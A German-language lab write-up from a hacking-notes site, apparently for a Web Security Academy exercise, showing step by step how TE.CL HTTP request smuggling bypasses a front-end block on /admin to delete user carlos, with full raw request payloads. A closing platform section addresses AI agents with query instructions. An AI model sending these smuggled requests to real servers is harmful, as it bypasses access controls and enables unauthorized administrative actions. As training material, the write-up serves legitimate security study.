> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/front-end-security-bypass-via-te-cl.md).

# Umgehung der Front-End-Sicherheit via TE.CL

### Ausnutzung von HTTP Request Smuggling zum Umgehen von Frontend-Sicherheitskontrollen, TE.CL-Schwachstelle

Das System basiert auf einem Frontend-Server und einem Backend-Server. / Backend **handhabt kein Chunked Encoding**, während das Frontend **den Zugriff auf /admin sperrt**. / Das Ziel ist es, **eine Anfrage an /admin verschleiern** um den Benutzer carlos zu löschen.

Obwohl die Anwendung HTTP/2 unterstützt, basiert die Ausnutzung auf HTTP/1-spezifischen Techniken.

<figure><img src="/files/508d0e20216425c71224e512c7b4c7d98eea6267" alt=""><figcaption></figcaption></figure>

#### **Erste Beobachtung**

Das Frontend interpretiert korrekt `Transfer-Encoding: chunked`. / Zuerst senden wir eine einfache Anfrage:

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 5
Transfer-Encoding: chunked

0


```

#### **Konstruktion der eingeschmuggelten Anfrage**

Eine **neue vollständige Anfrage** wird in den Chunked-Body injiziert.

#### **Vorbereitungsmodell**

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: Größe
Transfer-Encoding: chunked

Größe
GET /admin HTTP/1.1
Host: localhost
Content-Length: Größe

test=testing
0


```

#### **Größenanpassung**

Ein Minimum `Content-Length` auf der Frontend-Seite wird festgelegt, gefolgt von einem Chunk, der die eingeschmuggelte Anfrage enthält:

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

48
GET /admin HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

Der Server interpretiert die injizierte Anfrage korrekt.

<figure><img src="/files/56682f96615cd632948479a8324ea2695936f8ad" alt=""><figcaption></figcaption></figure>

#### **Einschleusung der endgültigen Anfrage zum Löschen von Carlos**

Die Zielanfrage wird durch eine Benutzerlöschung ersetzt:

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

48
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

Diese eingeschmuggelte Anfrage wird dann direkt vom Backend verarbeitet und umgeht die Frontend-Filterung vollständig.

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

5f
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

<figure><img src="/files/2dfd0433c5043dcf657f2afd78f90e8fa283bb0e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/front-end-security-bypass-via-te-cl.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
